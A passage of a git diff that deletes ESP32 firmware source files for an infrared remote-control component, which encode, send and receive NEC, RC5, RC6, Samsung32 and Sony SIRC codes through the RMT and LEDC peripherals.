(strcmp(ir_code.protocol, "RC5") == 0) { - uint8_t toggle = (ir_code.toggle != 0xFF) ? ir_code.toggle : g_rc5_toggle_state; - ESP_LOGI(TAG, "Transmitindo RC5: addr=0x%02X, cmd=0x%02X, toggle=%d", - (uint8_t)ir_code.address, (uint8_t)ir_code.command, toggle); - ret = ir_tx_send_rc5(&ir_ctx, (uint8_t)ir_code.address, (uint8_t)ir_code.command, toggle); - - if (ir_code.toggle == 0xFF) { - g_rc5_toggle_state = !g_rc5_toggle_state; - ESP_LOGD(TAG, "Toggle RC5 alternado para: %d", g_rc5_toggle_state); - } - } - else if (strcmp(ir_code.protocol, "Samsung32") == 0) { - // Samsung32 usa os 32 bits completos (address e command combinados) - uint32_t data = ((ir_code.address & 0xFFFF) << 16) | (ir_code.command & 0xFFFF); - ESP_LOGI(TAG, "Transmitindo Samsung32: data=0x%08lX", data); - ret = ir_tx_send_samsung32(&ir_ctx, data); - } - else if (strcmp(ir_code.protocol, "SIRC") == 0 || strcmp(ir_code.protocol, "Sony") == 0) { - uint8_t bits = (ir_code.bits != 0xFF) ? ir_code.bits : 12; // Default 12 bits - ESP_LOGI(TAG, "Transmitindo Sony SIRC-%d: addr=0x%04X, cmd=0x%02X", - bits, (uint16_t)ir_code.address, (uint8_t)ir_code.command); - ret = ir_tx_send_sony(&ir_ctx, (uint16_t)ir_code.address, (uint8_t)ir_code.command, bits); - } - - if (ret != ESP_OK) { - ESP_LOGE(TAG, "❌ Falha ao transmitir código IR: %s", esp_err_to_name(ret)); - ir_tx_deinit(&ir_ctx); - return false; - } - - ESP_LOGI(TAG, "✅ Código IR transmitido com sucesso!"); - - vTaskDelay(pdMS_TO_TICKS(100)); - ir_tx_deinit(&ir_ctx); - - ESP_LOGI(TAG, "=== FIM ir_tx_send_from_file ===\n"); - return true; -} - -// ========== Funções de inicialização ========== - -esp_err_t ir_tx_init(ir_context_t *ctx) -{ - esp_err_t ret = ESP_OK; - - ESP_LOGI(TAG, "create RMT TX channel"); - rmt_tx_channel_config_t tx_channel_cfg = { - .clk_src = RMT_CLK_SRC_DEFAULT, - .resolution_hz = EXAMPLE_IR_RESOLUTION_HZ, - .mem_block_symbols = 64, - .trans_queue_depth = 4, - .gpio_num = EXAMPLE_IR_TX_GPIO_NUM, - }; - - ret = rmt_new_tx_channel(&tx_channel_cfg, &ctx->tx_channel); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to create TX channel: %s", esp_err_to_name(ret)); - return ret; - } - - ESP_LOGI(TAG, "modulate carrier to TX channel"); - rmt_carrier_config_t carrier_cfg = { - .duty_cycle = 0.33, - .frequency_hz = 38000, - }; - ret = rmt_apply_carrier(ctx->tx_channel, &carrier_cfg); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to apply carrier: %s", esp_err_to_name(ret)); - return ret; - } - - ESP_LOGI(TAG, "enable RMT TX channel"); - ret = rmt_enable(ctx->tx_channel); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to enable TX channel: %s", esp_err_to_name(ret)); - return ret; - } - - ESP_LOGI(TAG, "TX module initialized successfully"); - return ret; -} - -esp_err_t ir_tx_deinit(ir_context_t *ctx) -{ - if (!ctx) { - ESP_LOGE(TAG, "Invalid context"); - return ESP_ERR_INVALID_ARG; - } - - esp_err_t ret = ESP_OK; - - if (ctx->encoder) { - ESP_LOGI(TAG, "Deleting IR encoder"); - esp_err_t del_enc_ret = rmt_del_encoder(ctx->encoder); - if (del_enc_ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to delete encoder: %s", esp_err_to_name(del_enc_ret)); - ret = del_enc_ret; - } - ctx->encoder = NULL; - } - - if (ctx->tx_channel) { - ESP_LOGI(TAG, "Disabling RMT TX channel"); - esp_err_t disable_ret = rmt_disable(ctx->tx_channel); - if (disable_ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to disable TX channel: %s", esp_err_to_name(disable_ret)); - ret = disable_ret; - } - - ESP_LOGI(TAG, "Deleting RMT TX channel"); - esp_err_t del_ret = rmt_del_channel(ctx->tx_channel); - if (del_ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to delete TX channel: %s", esp_err_to_name(del_ret)); - ret = del_ret; - } - ctx->tx_channel = NULL; - } - - if (ret == ESP_OK) { - ESP_LOGI(TAG, "TX module deinitialized successfully"); - } - - return ret; -} - -// ========== Funções de transmissão específicas ========== - -esp_err_t ir_tx_send_nec(ir_context_t *ctx, uint16_t address, uint16_t command) -{ - if (!ctx || !ctx->tx_channel || !ctx->encoder) { - ESP_LOGE(TAG, "TX not initialized"); - return ESP_ERR_INVALID_STATE; - } - - const ir_nec_scan_code_t scan_code = { - .address = address, - .command = command, - }; - - rmt_transmit_config_t transmit_config = { - .loop_count = 0 - }; - - esp_err_t ret = rmt_transmit(ctx->tx_channel, ctx->encoder, &scan_code, sizeof(scan_code), &transmit_config); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to transmit: %s", esp_err_to_name(ret)); - } else { - ESP_LOGI(TAG, "Sent NEC code - Address: 0x%04X, Command: 0x%04X", address, command); - } - - return ret; -} - -esp_err_t ir_tx_send_rc6(ir_context_t *ctx, uint8_t address, uint8_t command, uint8_t toggle) -{ - if (!ctx || !ctx->tx_channel || !ctx->encoder) { - ESP_LOGE(TAG, "TX not initialized"); - return ESP_ERR_INVALID_STATE; - } - - const ir_rc6_scan_code_t scan_code = { - .address = address, - .command = command, - .toggle = toggle & 0x1, - }; - - rmt_transmit_config_t transmit_config = { - .loop_count = 0 - }; - - esp_err_t ret = rmt_transmit(ctx->tx_channel, ctx->encoder, &scan_code, sizeof(scan_code), &transmit_config); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to transmit: %s", esp_err_to_name(ret)); - } else { - ESP_LOGI(TAG, "Sent RC6 code - Address: 0x%02X, Command: 0x%02X, Toggle: %d", - address, command, toggle); - } - - return ret; -} - -esp_err_t ir_tx_send_rc5(ir_context_t *ctx, uint8_t address, uint8_t command, uint8_t toggle) -{ - if (!ctx || !ctx->tx_channel || !ctx->encoder) { - ESP_LOGE(TAG, "TX not initialized"); - return ESP_ERR_INVALID_STATE; - } - - const ir_rc5_scan_code_t scan_code = { - .address = address & 0x1F, // 5 bits - .command = command & 0x3F, // 6 bits - .toggle = toggle & 0x1, - }; - - rmt_transmit_config_t transmit_config = { - .loop_count = 0 - }; - - esp_err_t ret = rmt_transmit(ctx->tx_channel, ctx->encoder, &scan_code, sizeof(scan_code), &transmit_config); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to transmit: %s", esp_err_to_name(ret)); - } else { - ESP_LOGI(TAG, "Sent RC5 code - Address: 0x%02X, Command: 0x%02X, Toggle: %d", - address, command, toggle); - } - - return ret; -} - -esp_err_t ir_tx_send_samsung32(ir_context_t *ctx, uint32_t data) -{ - if (!ctx || !ctx->tx_channel || !ctx->encoder) { - ESP_LOGE(TAG, "TX not initialized"); - return ESP_ERR_INVALID_STATE; - } - - const ir_samsung32_scan_code_t scan_code = { - .data = data, - }; - - rmt_transmit_config_t transmit_config = { - .loop_count = 0 - }; - - esp_err_t ret = rmt_transmit(ctx->tx_channel, ctx->encoder, &scan_code, sizeof(scan_code), &transmit_config); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to transmit: %s", esp_err_to_name(ret)); - } else { - ESP_LOGI(TAG, "Sent Samsung32 code - Data: 0x%08lX", data); - } - - return ret; -} - -esp_err_t ir_tx_send_sony(ir_context_t *ctx, uint16_t address, uint8_t command, uint8_t bits) -{ - if (!ctx || !ctx->tx_channel || !ctx->encoder) { - ESP_LOGE(TAG, "TX not initialized"); - return ESP_ERR_INVALID_STATE; - } - - // Valida número de bits - if (bits != 12 && bits != 15 && bits != 20) { - ESP_LOGE(TAG, "Invalid bit count: %d (must be 12, 15, or 20)", bits); - return ESP_ERR_INVALID_ARG; - } - - const ir_sony_scan_code_t scan_code = { - .address = address, - .command = command & 0x7F, // 7 bits - .bits = bits, - }; - - rmt_transmit_config_t transmit_config = { - .loop_count = 0 - }; - - esp_err_t ret = rmt_transmit(ctx->tx_channel, ctx->encoder, &scan_code, sizeof(scan_code), &transmit_config); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to transmit: %s", esp_err_to_name(ret)); - } else { - ESP_LOGI(TAG, "Sent Sony SIRC-%d code - Address: 0x%04X, Command: 0x%02X", - bits, address, command); - } - - return ret; -} - -void ir_tx_reset_rc6_toggle(void) { - g_rc6_toggle_state = 0; - ESP_LOGI(TAG, "RC6 toggle state reset to 0"); -} - -void ir_tx_reset_rc5_toggle(void) { - g_rc5_toggle_state = 0; - ESP_LOGI(TAG, "RC5 toggle state reset to 0"); -} diff --git a/firmware_c5/components/Service/ir/ir_encoder.c b/firmware_c5/components/Service/ir/ir_encoder.c deleted file mode 100644 index a498e405..00000000 --- a/firmware_c5/components/Service/ir/ir_encoder.c +++ /dev/null @@ -1,135 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_encoder.h" -#include "protocol_nec.h" -#include "protocol_rc6.h" -#include "protocol_rc5.h" -#include "protocol_samsung32.h" -#include "protocol_sony.h" -#include "esp_log.h" -#include - -static const char *TAG = "ir_encoder"; - -esp_err_t rmt_new_ir_encoder(const ir_encoder_config_t *cfg, rmt_encoder_handle_t *ret_encoder) -{ - if (!cfg || !ret_encoder) { - ESP_LOGE(TAG, "Invalid arguments - cfg=%p, ret_encoder=%p", cfg, ret_encoder); - return ESP_ERR_INVALID_ARG; - } - - ESP_LOGI(TAG, "Creating encoder for protocol: %d", cfg->protocol); - - esp_err_t ret = ESP_ERR_NOT_SUPPORTED; - - switch (cfg->protocol) { - case IR_PROTOCOL_NEC: - ESP_LOGI(TAG, "Creating NEC encoder with resolution=%lu", cfg->config.nec.resolution); - ret = rmt_new_ir_nec_encoder(&cfg->config.nec, ret_encoder); - if (ret == ESP_OK) { - ESP_LOGI(TAG, "✅ NEC encoder created successfully"); - } else { - ESP_LOGE(TAG, "❌ Failed to create NEC encoder: %s", esp_err_to_name(ret)); - } - break; - - case IR_PROTOCOL_RC6: - ESP_LOGI(TAG, "Creating RC6 encoder with resolution=%lu", cfg->config.rc6.resolution); - ret = rmt_new_ir_rc6_encoder(&cfg->config.rc6, ret_encoder); - if (ret == ESP_OK) { - ESP_LOGI(TAG, "✅ RC6 encoder created successfully"); - } else { - ESP_LOGE(TAG, "❌ Failed to create RC6 encoder: %s", esp_err_to_name(ret)); - } - break; - - case IR_PROTOCOL_RC5: - ESP_LOGI(TAG, "Creating RC5 encoder with resolution=%lu", cfg->config.rc5.resolution); - ret = rmt_new_ir_rc5_encoder(&cfg->config.rc5, ret_encoder); - if (ret == ESP_OK) { - ESP_LOGI(TAG, "✅ RC5 encoder created successfully"); - } else { - ESP_LOGE(TAG, "❌ Failed to create RC5 encoder: %s", esp_err_to_name(ret)); - } - break; - - case IR_PROTOCOL_SAMSUNG32: - ESP_LOGI(TAG, "Creating Samsung32 encoder with resolution=%lu", cfg->config.samsung32.resolution); - ret = rmt_new_ir_samsung32_encoder(&cfg->config.samsung32, ret_encoder); - if (ret == ESP_OK) { - ESP_LOGI(TAG, "✅ Samsung32 encoder created successfully"); - } else { - ESP_LOGE(TAG, "❌ Failed to create Samsung32 encoder: %s", esp_err_to_name(ret)); - } - break; - - case IR_PROTOCOL_SIRC: - ESP_LOGI(TAG, "Creating Sony SIRC encoder with resolution=%lu", cfg->config.sony.resolution); - ret = rmt_new_ir_sony_encoder(&cfg->config.sony, ret_encoder); - if (ret == ESP_OK) { - ESP_LOGI(TAG, "✅ Sony SIRC encoder created successfully"); - } else { - ESP_LOGE(TAG, "❌ Failed to create Sony encoder: %s", esp_err_to_name(ret)); - } - break; - - default: - ESP_LOGE(TAG, "Unknown protocol: %d", cfg->protocol); - ret = ESP_ERR_INVALID_ARG; - break; - } - - return ret; -} - -const char* ir_protocol_to_string(ir_protocol_t protocol) { - switch (protocol) { - case IR_PROTOCOL_NEC: return "NEC"; - case IR_PROTOCOL_RC6: return "RC6"; - case IR_PROTOCOL_RC5: return "RC5"; - case IR_PROTOCOL_SAMSUNG32: return "Samsung32"; - case IR_PROTOCOL_SIRC: return "SIRC"; - default: return "Unknown"; - } -} - -ir_protocol_t ir_string_to_protocol(const char* protocol_str) { - ESP_LOGI(TAG, "Converting string to protocol: '%s'", protocol_str); - - if (strcmp(protocol_str, "NEC") == 0) { - ESP_LOGI(TAG, "Matched: NEC"); - return IR_PROTOCOL_NEC; - } - if (strcmp(protocol_str, "RC6") == 0) { - ESP_LOGI(TAG, "Matched: RC6"); - return IR_PROTOCOL_RC6; - } - if (strcmp(protocol_str, "RC5") == 0) { - ESP_LOGI(TAG, "Matched: RC5"); - return IR_PROTOCOL_RC5; - } - if (strcmp(protocol_str, "Samsung32") == 0) { - ESP_LOGI(TAG, "Matched: Samsung32"); - return IR_PROTOCOL_SAMSUNG32; - } - if (strcmp(protocol_str, "SIRC") == 0 || strcmp(protocol_str, "Sony") == 0) { - ESP_LOGI(TAG, "Matched: Sony SIRC"); - return IR_PROTOCOL_SIRC; - } - - ESP_LOGW(TAG, "Unknown protocol string '%s', defaulting to NEC", protocol_str); - return IR_PROTOCOL_NEC; -} diff --git a/firmware_c5/components/Service/ir/ir_rc5.c b/firmware_c5/components/Service/ir/ir_rc5.c deleted file mode 100644 index 224c9a1e..00000000 --- a/firmware_c5/components/Service/ir/ir_rc5.c +++ /dev/null @@ -1,271 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_rc5.h" -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "esp_timer.h" - -static const char *TAG = "IR_RC5"; - -// Global configuration -static ir_rc5_config_t g_config; -static bool g_initialized = false; -static uint8_t g_toggle_state = 0; - -/** - * @brief Generate carrier wave (mark) - */ -static void ir_mark(uint32_t duration_us) { - ledc_set_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel, - (1 << LEDC_TIMER_10_BIT) * RC5_DUTY_CYCLE / 100); - ledc_update_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel); - esp_rom_delay_us(duration_us); -} - -/** - * @brief Generate space (no carrier) - */ -static void ir_space(uint32_t duration_us) { - ledc_set_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel, 0); - ledc_update_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel); - esp_rom_delay_us(duration_us); -} - -/** - * @brief Send Manchester encoded bit (RC5 style) - * RC5 Manchester encoding: - * - Logical '1': Space->Mark (889us each) - * - Logical '0': Mark->Space (889us each) - */ -static void send_bit(bool bit) { - if (bit) { - // Logical 1: Space then Mark - ir_space(RC5_UNIT); - ir_mark(RC5_UNIT); - } else { - // Logical 0: Mark then Space - ir_mark(RC5_UNIT); - ir_space(RC5_UNIT); - } -} - -esp_err_t ir_rc5_init(const ir_rc5_config_t *config) { - if (config == NULL) { - ESP_LOGE(TAG, "Config is NULL"); - return ESP_ERR_INVALID_ARG; - } - - g_config = *config; - - // Configure LEDC timer - ledc_timer_config_t ledc_timer = { - .speed_mode = LEDC_LOW_SPEED_MODE, - .timer_num = g_config.ledc_timer, - .duty_resolution = LEDC_TIMER_10_BIT, - .freq_hz = RC5_CARRIER_FREQ, - .clk_cfg = LEDC_AUTO_CLK - }; - - esp_err_t ret = ledc_timer_config(&ledc_timer); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to configure LEDC timer: %s", esp_err_to_name(ret)); - return ret; - } - - // Configure LEDC channel - ledc_channel_config_t ledc_channel = { - .speed_mode = LEDC_LOW_SPEED_MODE, - .channel = g_config.ledc_channel, - .timer_sel = g_config.ledc_timer, - .intr_type = LEDC_INTR_DISABLE, - .gpio_num = g_config.gpio_num, - .duty = 0, - .hpoint = 0 - }; - - ret = ledc_channel_config(&ledc_channel); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to configure LEDC channel: %s", esp_err_to_name(ret)); - return ret; - } - - g_initialized = true; - ESP_LOGI(TAG, "RC5 initialized on GPIO %d", g_config.gpio_num); - - return ESP_OK; -} - -esp_err_t ir_rc5_send(uint8_t address, uint8_t command, bool toggle) { - if (!g_initialized) { - ESP_LOGE(TAG, "RC5 not initialized"); - return ESP_ERR_INVALID_STATE; - } - - // Validate parameters - if (address > 31) { - ESP_LOGE(TAG, "Address must be 0-31 (5 bits)"); - return ESP_ERR_INVALID_ARG; - } - if (command > 63) { - ESP_LOGE(TAG, "Command must be 0-63 (6 bits)"); - return ESP_ERR_INVALID_ARG; - } - - // Build RC5 data frame (13 bits total) - // Format: 2 start bits (both 1) + 1 toggle bit + 5 address bits + 6 command bits - uint16_t data = 0; - - // Start bits (always 11) - data |= (0x3 << 11); // 2 bits at position 11-12 - - // Toggle bit - data |= ((toggle ? 1 : 0) << 10); - - // Address (5 bits) - data |= ((uint16_t)(address & 0x1F) << 6); - - // Command (6 bits) - data |= (command & 0x3F); - - ESP_LOGI(TAG, "Sending RC5: Addr=0x%02X Cmd=0x%02X Toggle=%d Data=0x%04X", - address, command, toggle, data); - - // Disable interrupts for accurate timing - portDISABLE_INTERRUPTS(); - - // Send all bits (MSB first) - for (int8_t i = 12; i >= 0; i--) { - bool bit = (data >> i) & 1; - send_bit(bit); - } - - // Ensure output is low after transmission - ir_space(RC5_UNIT); - - portENABLE_INTERRUPTS(); - - ESP_LOGD(TAG, "RC5 transmission complete"); - - return ESP_OK; -} - -esp_err_t ir_rc5_send_extended(uint8_t address, uint8_t command, bool toggle) { - if (!g_initialized) { - ESP_LOGE(TAG, "RC5 not initialized"); - return ESP_ERR_INVALID_STATE; - } - - // Validate parameters - if (address > 31) { - ESP_LOGE(TAG, "Address must be 0-31 (5 bits)"); - return ESP_ERR_INVALID_ARG; - } - if (command > 127) { - ESP_LOGE(TAG, "Extended command must be 0-127 (7 bits)"); - return ESP_ERR_INVALID_ARG; - } - - // Build Extended RC5 data frame (13 bits) - // The IRremote library format for extended commands: - // Bit 12: Start bit (always 1) - // Bit 11: Field bit (inverted bit 6 of command) - this extends to 7-bit commands - // Bit 10: Toggle bit - // Bits 9-6: Address (5 bits, but we only use 4 bits here, bit 9 is part of extended format) - // Bits 5-0: Command (lower 6 bits) - - uint16_t data = 0; - - // Start bit (always 1) - data |= (0x1 << 12); - - // Field bit (inverted bit 6 of command) - // If command >= 64 (bit 6 = 1), field bit = 0 - // If command < 64 (bit 6 = 0), field bit = 1 - bool field_bit = !(command & 0x40); - data |= ((field_bit ? 1 : 0) << 11); - - // Toggle bit - data |= ((toggle ? 1 : 0) << 10); - - // Address (5 bits) - data |= ((uint16_t)(address & 0x1F) << 6); - - // Command lower 6 bits - data |= (command & 0x3F); - - ESP_LOGI(TAG, "Sending Extended RC5: Addr=0x%02X Cmd=0x%02X Toggle=%d FieldBit=%d Data=0x%03X", - address, command, toggle, field_bit, data); - - // Disable interrupts for accurate timing - portDISABLE_INTERRUPTS(); - - // Send all bits (MSB first) - for (int8_t i = 12; i >= 0; i--) { - bool bit = (data >> i) & 1; - send_bit(bit); - } - - // Ensure output is low after transmission - ir_space(RC5_UNIT); - - portENABLE_INTERRUPTS(); - - ESP_LOGD(TAG, "Extended RC5 transmission complete"); - - return ESP_OK; -} - -esp_err_t ir_rc5_send_auto_toggle(uint8_t address, uint8_t command) { - esp_err_t ret = ir_rc5_send(address, command, g_toggle_state); - - // Toggle for next transmission - g_toggle_state = !g_toggle_state; - - return ret; -} - -esp_err_t ir_rc5_send_extended_auto_toggle(uint8_t address, uint8_t command) { - esp_err_t ret = ir_rc5_send_extended(address, command, g_toggle_state); - - // Toggle for next transmission - g_toggle_state = !g_toggle_state; - - return ret; -} - -esp_err_t ir_rc5_send_auto(uint8_t address, uint8_t command, bool toggle) { - // Automatically choose standard or extended format based on command value - if (command <= 63) { - return ir_rc5_send(address, command, toggle); - } else { - return ir_rc5_send_extended(address, command, toggle); - } -} - -esp_err_t ir_rc5_send_smart(uint8_t address, uint8_t command) { - esp_err_t ret = ir_rc5_send_auto(address, command, g_toggle_state); - - // Toggle for next transmission - g_toggle_state = !g_toggle_state; - - return ret; -} - -void ir_rc5_reset_toggle(void) { - g_toggle_state = 0; - ESP_LOGD(TAG, "Toggle bit reset"); -} diff --git a/firmware_c5/components/Service/ir/ir_rc6.c b/firmware_c5/components/Service/ir/ir_rc6.c deleted file mode 100644 index 9fc6f6c1..00000000 --- a/firmware_c5/components/Service/ir/ir_rc6.c +++ /dev/null @@ -1,179 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_rc6.h" -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "esp_timer.h" - -static const char *TAG = "IR_RC6"; - -// Global configuration -static ir_rc6_config_t g_config; -static bool g_initialized = false; -static uint8_t g_toggle_state = 0; - -/** - * @brief Generate carrier wave (mark) - */ -static void ir_mark(uint32_t duration_us) { - ledc_set_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel, - (1 << LEDC_TIMER_10_BIT) * RC6_DUTY_CYCLE / 100); - ledc_update_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel); - esp_rom_delay_us(duration_us); -} - -/** - * @brief Generate space (no carrier) - */ -static void ir_space(uint32_t duration_us) { - ledc_set_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel, 0); - ledc_update_duty(LEDC_LOW_SPEED_MODE, g_config.ledc_channel); - esp_rom_delay_us(duration_us); -} - -/** - * @brief Send Manchester encoded bit - * Mark->Space = 1 - * Space->Mark = 0 - */ -static void send_bit(bool bit, uint32_t duration) { - if (bit) { - ir_mark(duration); - ir_space(duration); - } else { - ir_space(duration); - ir_mark(duration); - } -} - -esp_err_t ir_rc6_init(const ir_rc6_config_t *config) { - if (config == NULL) { - ESP_LOGE(TAG, "Config is NULL"); - return ESP_ERR_INVALID_ARG; - } - - g_config = *config; - - // Configure LEDC timer - ledc_timer_config_t ledc_timer = { - .speed_mode = LEDC_LOW_SPEED_MODE, - .timer_num = g_config.ledc_timer, - .duty_resolution = LEDC_TIMER_10_BIT, - .freq_hz = RC6_CARRIER_FREQ, - .clk_cfg = LEDC_AUTO_CLK - }; - - esp_err_t ret = ledc_timer_config(&ledc_timer); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to configure LEDC timer: %s", esp_err_to_name(ret)); - return ret; - } - - // Configure LEDC channel - ledc_channel_config_t ledc_channel = { - .speed_mode = LEDC_LOW_SPEED_MODE, - .channel = g_config.ledc_channel, - .timer_sel = g_config.ledc_timer, - .intr_type = LEDC_INTR_DISABLE, - .gpio_num = g_config.gpio_num, - .duty = 0, - .hpoint = 0 - }; - - ret = ledc_channel_config(&ledc_channel); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to configure LEDC channel: %s", esp_err_to_name(ret)); - return ret; - } - - g_initialized = true; - ESP_LOGI(TAG, "RC6 initialized on GPIO %d", g_config.gpio_num); - - return ESP_OK; -} - -esp_err_t ir_rc6_send(uint8_t address, uint8_t command, bool toggle) { - if (!g_initialized) { - ESP_LOGE(TAG, "RC6 not initialized"); - return ESP_ERR_INVALID_STATE; - } - - // Build RC6 data frame - // Format: 3 mode bits (000) + 1 toggle bit + 8 address bits + 8 command bits - uint32_t data = 0; - - // Mode bits (always 000 for standard RC6) - data |= (0x0 << 17); // 3 bits at position 17-19 - - // Toggle bit - data |= ((toggle ? 1 : 0) << 16); - - // Address (8 bits) - data |= ((uint32_t)address << 8); - - // Command (8 bits) - data |= command; - - ESP_LOGI(TAG, "Sending RC6: Addr=0x%02X Cmd=0x%02X Toggle=%d Data=0x%05lX", - address, command, toggle, data); - - // Disable interrupts for accurate timing - portDISABLE_INTERRUPTS(); - - // Send header - ir_mark(RC6_HEADER_MARK); - ir_space(RC6_HEADER_SPACE); - - // Send start bit (always 1) - ir_mark(RC6_UNIT); - ir_space(RC6_UNIT); - - // Send data bits (MSB first) - for (int8_t i = 19; i >= 0; i--) { - bool bit = (data >> i) & 1; - - // Toggle bit is double width - if (i == 16) { - send_bit(bit, RC6_UNIT * 2); - } else { - send_bit(bit, RC6_UNIT); - } - } - - // Final space to complete last bit - ir_space(RC6_UNIT); - - portENABLE_INTERRUPTS(); - - ESP_LOGD(TAG, "RC6 transmission complete"); - - return ESP_OK; -} - -esp_err_t ir_rc6_send_auto_toggle(uint8_t address, uint8_t command) { - esp_err_t ret = ir_rc6_send(address, command, g_toggle_state); - - // Toggle for next transmission - g_toggle_state = !g_toggle_state; - - return ret; -} - -void ir_rc6_reset_toggle(void) { - g_toggle_state = 0; - ESP_LOGD(TAG, "Toggle bit reset"); -} diff --git a/firmware_c5/components/Service/ir/ir_rx.c b/firmware_c5/components/Service/ir/ir_rx.c deleted file mode 100644 index 4ff7ad2a..00000000 --- a/firmware_c5/components/Service/ir/ir_rx.c +++ /dev/null @@ -1,189 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_common.h" - -static const char *TAG = "RX"; - -// Buffer estático para recepção -static rmt_symbol_word_t raw_symbols[64]; - -static bool ir_rx_done_callback(rmt_channel_handle_t channel, const rmt_rx_done_event_data_t *edata, void *user_data) -{ - BaseType_t high_task_wakeup = pdFALSE; - QueueHandle_t receive_queue = (QueueHandle_t)user_data; - xQueueSendFromISR(receive_queue, edata, &high_task_wakeup); - return high_task_wakeup == pdTRUE; -} - -esp_err_t ir_rx_init(ir_context_t *ctx) -{ - esp_err_t ret = ESP_OK; - - ESP_LOGI(TAG, "create RMT RX channel"); - rmt_rx_channel_config_t rx_channel_cfg = { - .clk_src = RMT_CLK_SRC_DEFAULT, - .resolution_hz = EXAMPLE_IR_RESOLUTION_HZ, - .mem_block_symbols = 64, - .gpio_num = EXAMPLE_IR_RX_GPIO_NUM, - }; - - ret = rmt_new_rx_channel(&rx_channel_cfg, &ctx->rx_channel); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to create RX channel: %s", esp_err_to_name(ret)); - return ret; - } - - ESP_LOGI(TAG, "register RX done callback"); - ctx->receive_queue = xQueueCreate(1, sizeof(rmt_rx_done_event_data_t)); - if (!ctx->receive_queue) { - ESP_LOGE(TAG, "Failed to create receive queue"); - return ESP_ERR_NO_MEM; - } - - rmt_rx_event_callbacks_t cbs = { - .on_recv_done = ir_rx_done_callback - }; - ret = rmt_rx_register_event_callbacks(ctx->rx_channel, &cbs, ctx->receive_queue); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to register callbacks: %s", esp_err_to_name(ret)); - return ret; - } - - ESP_LOGI(TAG, "enable RMT RX channel"); - ret = rmt_enable(ctx->rx_channel); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to enable RX channel: %s", esp_err_to_name(ret)); - return ret; - } - - ESP_LOGI(TAG, "RX module initialized successfully"); - return ret; -} - -esp_err_t ir_rx_deinit(ir_context_t *ctx) -{ - if (!ctx) { - ESP_LOGE(TAG, "Invalid context"); - return ESP_ERR_INVALID_ARG; - } - - esp_err_t ret = ESP_OK; - - // Desabilitar canal RX se existe - if (ctx->rx_channel) { - ESP_LOGI(TAG, "Disabling RMT RX channel"); - esp_err_t disable_ret = rmt_disable(ctx->rx_channel); - if (disable_ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to disable RX channel: %s", esp_err_to_name(disable_ret)); - ret = disable_ret; - } - - ESP_LOGI(TAG, "Deleting RMT RX channel"); - esp_err_t del_ret = rmt_del_channel(ctx->rx_channel); - if (del_ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to delete RX channel: %s", esp_err_to_name(del_ret)); - ret = del_ret; - } - ctx->rx_channel = NULL; - } - - // Deletar queue se existe - if (ctx->receive_queue) { - ESP_LOGI(TAG, "Deleting receive queue"); - vQueueDelete(ctx->receive_queue); - ctx->receive_queue = NULL; - } - - if (ret == ESP_OK) { - ESP_LOGI(TAG, "RX module deinitialized successfully"); - } - - return ret; -} - -void ir_rx_start_receive(ir_context_t *ctx) -{ - if (!ctx || !ctx->rx_channel) { - ESP_LOGE(TAG, "RX not initialized"); - return; - } - - rmt_receive_config_t receive_config = { - 